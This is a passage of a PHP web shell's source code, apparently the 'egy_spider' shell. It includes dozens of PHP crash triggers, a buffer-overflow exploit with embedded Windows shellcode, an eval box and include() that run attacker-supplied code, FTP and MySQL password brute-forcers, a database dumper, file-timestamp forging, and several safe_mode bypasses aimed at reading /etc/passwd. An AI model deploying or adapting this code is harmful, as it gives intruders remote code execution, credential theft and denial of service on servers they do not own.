5069 @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
5070 break;
5071 case 'dos8':
5072 @shell_exec("killall -11 httpd");
5073 break;
5074 case 'dos9':
5075 function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx();
5076 break;
5077 case 'dos10':
5078 $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
5079 break;
5080 case 'dos11':
5081 @array_fill(1,123456789,"Infigo-IS");
5082 break;
5083 case 'dos12':
5084 @substr_compare("A","A",12345678);
5085 break;
5086 case 'dos13':
5087 @unserialize("a:2147483649:{");
5088 break;
5089 case 'dos14':
5090 $Data = @str_ireplace("\n", "<br>", $Data);
5091 break;
5092 case 'dos15':
5093 function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
5094 $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
5095 @htmlentities($str1, ENT_NOQUOTES, "UTF-8");
5096 break;
5097 case 'dos16':
5098 $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
5099 for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
5100 unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
5101 break;
5102 case 'dos17':
5103 $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
5104 $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
5105 $x = "AQ ";
5106 unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
5107 break;
5108 case 'dos18':
5109 $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
5110 if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
5111 echo "Msg not sent because $msg_err\n";
5112 if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
5113 echo "$msg\n";
5114 } else { echo "Received $msg_error fetching message\n"; break; }
5115 @msg_remove_queue ($msg_id);
5116 break;
5117 case 'dos19':
5118 $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
5119 break;
5120 case 'dos20':
5121 $hashtable = str_repeat("A", 39);
5122 $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
5123 $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
5124 $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
5125 for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
5126 $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
5127 @unserialize($str);
5128 break;
5129 case 'dos21':
5130 imagecreatetruecolor(1234,1073741824);
5131 break;
5132 case 'dos22':
5133 imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
5134 break;
5135 case 'dos23':
5136 $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b);
5137 break;
5138 case 'dos24':
5139 setlocale(LC_COLLATE, str_repeat("A", 34438013));
5140 break;
5141 case 'dos25':
5142 glob(str_repeat("A", 9638013));
5143 break;
5144 case 'dos26':
5145 glob("a",-1);
5146 break;
5147 case 'dos27':
5148 fnmatch("*[1]e", str_repeat("A", 9638013));
5149 break;
5150 case 'dos28':
5151 if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
5152 break;
5153 case 'dos29':
5154 if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
5155 break;
5156 case 'dos30':
5157 $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c);
5158 break;
5159 case 'dos31':
5160 if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
5161 break;
5162 case 'dos32':
5163 if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
5164 break;
5165 case 'dos33':
5166 $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
5167 break;
5168 case 'dos34':
5169 if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
5170 break;
5171 case 'dos35':
5172 $a = str_repeat("/", 4199000); iconv(1, $a, 1);
5173 break;
5174 case 'dos36':
5175 $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
5176 break;
5177 case 'dos37':
5178 $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
5179 break;
5180 case 'dos39':
5181 sprintf("[%'A2147483646s]\n", "A");
5182 break;
5183 break;
5184 case 'dos40':
5185// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
5186// poc exploit (and safe_mode bypass)
5187// windows 2000 sp3 en / seh overwrite
5188// by rgod
5189// site: http://egyspider.eu
5190
5191// u can easily adjust for php5
5192// this as my little contribute to MOPB
5193
5194$____scode=
5195"\xeb\x1b".
5196"\x5b".
5197"\x31\xc0".
5198"\x50".
5199"\x31\xc0".
5200"\x88\x43\x59".
5201"\x53".
5202"\xbb\xca\x73\xe9\x77". //WinExec
5203"\xff\xd3".
5204"\x31\xc0".
5205"\x50".
5206"\xbb\x5c\xcf\xe9\x77". //ExitProcess
5207"\xff\xd3".
5208"\xe8\xe0\xff\xff\xff".
5209"\x63\x6d\x64".
5210"\x2e".
5211"\x65".
5212"\x78\x65".
5213"\x20\x2f".
5214"\x63\x20".
5215"start notepad & ";
5216
5217 $eip="\xdc\xf5\x12";
5218 $____suntzu=str_repeat("\x90",100);
5219 $____suntzu.=$____scode;
5220 $____suntzu.=str_repeat("a",2460 - strlen($____scode));
5221 $____suntzu.=$eip;
5222 break;
5223 case 'zend':
5224 if(empty($_POST['zend'])){
5225} else {
5226
5227$dezend=$_POST['zend'];
5228include($_POST['zend']);
5229print_r($GLOBALS);
5230require_once("$dezend");
5231echo "</textarea></p>";
5232}
5233break;
5234 case 'dos38':
5235 $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
5236 break;
5237}
5238if ($_POST['cmd']=="php_eval"){
5239 $eval = @str_replace("<?","",$_POST['php_eval']);
5240 $eval = @str_replace("?>","",$eval);
5241 @eval($eval);}
5242
5243if ($_POST['cmd']=="ftp_brute")
5244 {
5245 $suc = 0;
5246 if($_POST['brute_method']=='passwd'){
5247 foreach($users as $user)
5248 {
5249 $connection = @ftp_connect($ftp_server,$ftp_port,10);
5250 if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
5251 else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
5252 @ftp_close($connection);
5253 }
5254 }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
5255 foreach($users as $user)
5256 {
5257 $connection = @ftp_connect($ftp_server,$ftp_port,10);
5258 if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
5259 @ftp_close($connection);
5260 }
5261 }
5262 echo "\r\n-------------------------------------\r\n";
5263 $count = count($users);
5264 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
5265 echo $lang[$language.'_text97'].$count."\r\n";
5266 echo $lang[$language.'_text98'].$suc."\r\n";
5267 }
5268
5269if ($_POST['cmd']=="db_brute")
5270 {
5271 $suc = 0;
5272 if($_POST['brute_method']=='passwd'){
5273 foreach($users as $user)
5274 {
5275 $sql = new my_sql();
5276 $sql->db = $_POST['db'];
5277 $sql->host = $_POST['db_server'];
5278 $sql->port = $_POST['db_port'];
5279 $sql->user = $user;
5280 $sql->pass = $user;
5281 if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
5282 }
5283 if(isset($_POST['reverse']))
5284 {
5285 foreach($users as $user)
5286 {
5287 $sql = new my_sql();
5288 $sql->db = $_POST['db'];
5289 $sql->host = $_POST['db_server'];
5290 $sql->port = $_POST['db_port'];
5291 $sql->user = $user;
5292 $sql->pass = strrev($user);
5293 if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
5294 }
5295 }
5296 }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
5297 foreach($users as $user)
5298 {
5299 $sql = new my_sql();
5300 $sql->db = $_POST['db'];
5301 $sql->host = $_POST['db_server'];
5302 $sql->port = $_POST['db_port'];
5303 $sql->user = $_POST['mysql_l'];
5304 $sql->pass = $user;
5305 if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
5306 }
5307 }
5308 echo "\r\n-------------------------------------\r\n";
5309 $count = count($users);
5310 if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
5311 echo $lang[$language.'_text97'].$count."\r\n";
5312 echo $lang[$language.'_text98'].$suc."\r\n";
5313 }
5314
5315if ($_POST['cmd']=="mysql_dump")
5316 {
5317 if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
5318 $sql = new my_sql();
5319 $sql->db = $_POST['db'];
5320 $sql->host = $_POST['db_server'];
5321 $sql->port = $_POST['db_port'];
5322 $sql->user = $_POST['mysql_l'];
5323 $sql->pass = $_POST['mysql_p'];
5324 $sql->base = $_POST['mysql_db'];
5325 if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
5326 else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
5327 else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
5328 else {
5329 if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
5330 else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} }
5331 else { echo "[-] ERROR! Can't write in dump file"; }
5332 }
5333 }
5334
5335echo "</textarea></div>";
5336echo "</b>";
5337echo "</td></tr></table>";
5338echo "<table width=100% cellpadding=0 cellspacing=0>";
5339
5340function div_title($title, $id)
5341{
5342 return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
5343}
5344function div($id)
5345 {
5346 if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
5347 $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
5348 if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
5349 return '<div id="'.$id.'">';
5350 }
5351
5352if(!$safe_mode){
5353echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
5354echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
5355echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5356echo $te.'</div>'.$table_end1.$fe;
5357}
5358else{
5359echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
5360echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
5361echo $te.'</div>'.$table_end1.$fe;
5362}
5363echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
5364echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
5365echo $te.'</div>'.$table_end1.$fe;
5366
5367
5368
5369
5370
5371
5372
5373echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id20').$table_up2.div('id20').$ts;
5374echo "<table class=table1 width=100% align=center>";
5375echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5376echo $te.'</div>'.$table_end1.$fe;
5377
5378{
5379echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
5380echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
5381echo $te.'</div>'.$table_end1.$fe;
5382}
5383
5384if($unix && @function_exists('touch')){
5385echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
5386echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
5387.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
5388.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
5389echo sr(15,"<b> or set Day".$arrow."</b>",
5390'
5391<select name="day" size="1">
5392<option value="01">1</option>
5393<option value="02">2</option>
5394<option value="03">3</option>
5395<option value="04">4</option>
5396<option value="05">5</option>
5397<option value="06">6</option>
5398<option value="07">7</option>
5399<option value="08">8</option>
5400<option value="09">9</option>
5401<option value="10">10</option>
5402<option value="11">11</option>
5403<option value="12">12</option>
5404<option value="13">13</option>
5405<option value="14">14</option>
5406<option value="15">15</option>
5407<option value="16">16</option>
5408<option value="17">17</option>
5409<option value="18">18</option>
5410<option value="19">19</option>
5411<option value="20">20</option>
5412<option value="21">21</option>
5413<option value="22">22</option>
5414<option value="23">23</option>
5415<option value="24">24</option>
5416<option value="25">25</option>
5417<option value="26">26</option>
5418<option value="27">27</option>
5419<option value="28">28</option>
5420<option value="29">29</option>
5421<option value="30">30</option>
5422<option value="31">31</option>
5423</select>'
5424.ws(4)."<b>Month".$arrow."</b>"
5425.'
5426<select name="month" size="1">
5427<option value="January">January</option>
5428<option value="February">February</option>
5429<option value="March">March</option>
5430<option value="April">April</option>
5431<option value="May">May</option>
5432<option value="June">June</option>
5433<option value="July">July</option>
5434<option value="August">August</option>
5435<option value="September">September</option>
5436<option value="October">October</option>
5437<option value="November">November</option>
5438<option value="December">December</option>
5439</select>'
5440.ws(4)."<b>Year".$arrow."</b>"
5441.'
5442<select name="year" size="1">
5443<option value="1998">1998</option>
5444<option value="1999">1999</option>
5445<option value="2000">2000</option>
5446<option value="2001">2001</option>
5447<option value="2002">2002</option>
5448<option value="2003">2003</option>
5449<option value="2004">2004</option>
5450<option value="2005">2005</option>
5451<option value="2006">2006</option>
5452<option value="2006">2007</option>
5453<option value="2006">2008</option>
5454<option value="2006">2009</option>
5455<option value="2006">2010</option>
5456</select>'
5457.ws(4)."<b>Hour".$arrow."</b>"
5458.'
5459<select name="chasi" size="1">
5460<option value="01">01</option>
5461<option value="02">02</option>
5462<option value="03">03</option>
5463<option value="04">04</option>
5464<option value="05">05</option>
5465<option value="06">06</option>
5466<option value="07">07</option>
5467<option value="08">08</option>
5468<option value="09">09</option>
5469<option value="10">10</option>
5470<option value="11">11</option>
5471<option value="12">12</option>
5472<option value="13">13</option>
5473<option value="14">14</option>
5474<option value="15">15</option>
5475<option value="16">16</option>
5476<option value="17">17</option>
5477<option value="18">18</option>
5478<option value="19">19</option>
5479<option value="20">20</option>
5480<option value="21">21</option>
5481<option value="22">22</option>
5482<option value="23">23</option>
5483<option value="24">24</option>
5484</select>'
5485.ws(4)."<b>Minute".$arrow."</b>"
5486.'
5487<select name="minutes" size="1">
5488<option value="01">1</option>
5489<option value="02">2</option>
5490<option value="03">3</option>
5491<option value="04">4</option>
5492<option value="05">5</option>
5493<option value="06">6</option>
5494<option value="07">7</option>
5495<option value="08">8</option>
5496<option value="09">9</option>
5497<option value="10">10</option>
5498<option value="11">11</option>
5499<option value="12">12</option>
5500<option value="13">13</option>
5501<option value="14">14</option>
5502<option value="15">15</option>
5503<option value="16">16</option>
5504<option value="17">17</option>
5505<option value="18">18</option>
5506<option value="19">19</option>
5507<option value="20">20</option>
5508<option value="21">21</option>
5509<option value="22">22</option>
5510<option value="23">23</option>
5511<option value="24">24</option>
5512<option value="25">25</option>
5513<option value="26">26</option>
5514<option value="27">27</option>
5515<option value="28">28</option>
5516<option value="29">29</option>
5517<option value="30">30</option>
5518<option value="31">31</option>
5519<option value="32">32</option>
5520<option value="33">33</option>
5521<option value="34">34</option>
5522<option value="35">35</option>
5523<option value="36">36</option>
5524<option value="37">37</option>
5525<option value="38">38</option>
5526<option value="39">39</option>
5527<option value="40">40</option>
5528<option value="41">41</option>
5529<option value="42">42</option>
5530<option value="43">43</option>
5531<option value="44">44</option>
5532<option value="45">45</option>
5533<option value="46">46</option>
5534<option value="47">47</option>
5535<option value="48">48</option>
5536<option value="49">49</option>
5537<option value="50">50</option>
5538<option value="51">51</option>
5539<option value="52">52</option>
5540<option value="53">53</option>
5541<option value="54">54</option>
5542<option value="55">55</option>
5543<option value="56">56</option>
5544<option value="57">57</option>
5545<option value="58">58</option>
5546<option value="59">59</option>
5547</select>'
5548.ws(4)."<b>Second".$arrow."</b>"
5549.'
5550<select name="second" size="1">
5551<option value="01">1</option>
5552<option value="02">2</option>
5553<option value="03">3</option>
5554<option value="04">4</option>
5555<option value="05">5</option>
5556<option value="06">6</option>
5557<option value="07">7</option>
5558<option value="08">8</option>
5559<option value="09">9</option>
5560<option value="10">10</option>
5561<option value="11">11</option>
5562<option value="12">12</option>
5563<option value="13">13</option>
5564<option value="14">14</option>
5565<option value="15">15</option>
5566<option value="16">16</option>
5567<option value="17">17</option>
5568<option value="18">18</option>
5569<option value="19">19</option>
5570<option value="20">20</option>
5571<option value="21">21</option>
5572<option value="22">22</option>
5573<option value="23">23</option>
5574<option value="24">24</option>
5575<option value="25">25</option>
5576<option value="26">26</option>
5577<option value="27">27</option>
5578<option value="28">28</option>
5579<option value="29">29</option>
5580<option value="30">30</option>
5581<option value="31">31</option>
5582<option value="32">32</option>
5583<option value="33">33</option>
5584<option value="34">34</option>
5585<option value="35">35</option>
5586<option value="36">36</option>
5587<option value="37">37</option>
5588<option value="38">38</option>
5589<option value="39">39</option>
5590<option value="40">40</option>
5591<option value="41">41</option>
5592<option value="42">42</option>
5593<option value="43">43</option>
5594<option value="44">44</option>
5595<option value="45">45</option>
5596<option value="46">46</option>
5597<option value="47">47</option>
5598<option value="48">48</option>
5599<option value="49">49</option>
5600<option value="50">50</option>
5601<option value="51">51</option>
5602<option value="52">52</option>
5603<option value="53">53</option>
5604<option value="54">54</option>
5605<option value="55">55</option>
5606<option value="56">56</option>
5607<option value="57">57</option>
5608<option value="58">58</option>
5609<option value="59">59</option>
5610</select>'
5611.in('hidden','cmd',0,'touch')
5612.in('hidden','dir',0,$dir)
5613.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5614echo $te.'</div>'.$table_end1.$fe;
5615}
5616
5617$select='';
5618if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
5619if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
5620if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
5621if($unix && $select){
5622echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
5623echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5624echo $te.'</div>'.$table_end1.$fe;
5625}
5626
5627if(!$safe_mode){
5628$aliases2 = '';
5629foreach ($aliases as $alias_name=>$alias_cmd)
5630 {
5631 $aliases2 .= "<option>$alias_name</option>";
5632 }
5633echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id5555').$table_up2.div('id5555').$ts;
5634echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5635echo $te.'</div>'.$table_end1.$fe;
5636}
5637
5638echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id50').$table_up2.div('id50').$ts;
5639echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
5640echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
5641echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
5642echo $te.'</div>'.$table_end1.$fe;
5643
5644if(!$safe_mode && $unix){
5645echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
5646echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
5647echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
5648echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
5649echo $te.'</div>'.$table_end1.$fe;
5650}
5651
5652echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id800').$table_up2.$font;
5653echo "<div align=center>".div('id800')."<textarea name=php_eval cols=100 rows=10>";
5654echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
5655echo "</textarea>";
5656echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
5657echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
5658echo "</div></div></font>";
5659echo $table_end1.$fe;
5660
5661echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id520').$table_up2.div('id520').$ts;
5662echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5663echo $te.'</div>'.$table_end1.$fe;
5664echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts;
5665echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5666echo $te.'</div>'.$table_end1.$fe;
5667echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id510').$table_up2.div('id510').$ts;
5668echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5669echo $te.'</div>'.$table_end1.$fe;
5670echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id800').$table_up2.div('id800').$ts;
5671echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5672echo $te.'</div>'.$table_end1.$fe;
5673echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id900').$table_up2.div('id900').$ts;
5674echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5675echo $te.'</div>'.$table_end1.$fe;
5676echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id980').$table_up2.div('id980').$ts;
5677echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5678echo $te.'</div>'.$table_end1.$fe;
5679
5680{
5681echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
5682echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Paralyzing been planted and you can usefilename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
5683echo $te.'</div>'.$table_end1.$fe;
5684echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id801').$table_up2.div('id801').$ts;
5685echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5686echo $te.'</div>'.$table_end1.$fe;
5687echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id5505').$table_up2.div('id5505').$ts;
5688echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
5689echo $te.'</div>'.$table_end1.$fe;
5690echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
5691echo "<table class=table1 width=100% align=center>";
5692echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5693echo $te.'</div>'.$table_end1.$fe;
5694}
5695
5696
5697
5698echo $fs.$table_up1.div_title($lang[$language.'_text151'],'id1221').$table_up2.div('id1221').$ts;
5699echo "<table class=table1 width=100% align=center>";
5700echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test_5_2_6',85,(!empty($_POST['test_5_2_6'])?($_POST['test_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5701echo $te.'</div>'.$table_end1.$fe;
5702
5703echo $fs.$table_up1.div_title($lang[$language.'_text161'],'id12211').$table_up2.div('id12211').$ts;
5704echo "<table class=table1 width=100% align=center>";
5705echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_5_2_6',85,(!empty($_POST['test2_5_2_6'])?($_POST['test2_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5706echo $te.'</div>'.$table_end1.$fe;
5707
5708
5709
5710
5711
5712echo $fs.$table_up1.div_title($lang[$language.'_text162'],'id9820').$table_up2.div('id9820').$ts;
5713echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
5714echo $te.'</div>'.$table_end1.$fe;
5715
5716
5717echo $fs.$table_up1.div_title($lang[$language.'_text163'],'id9820').$table_up2.div('id9820').$ts;
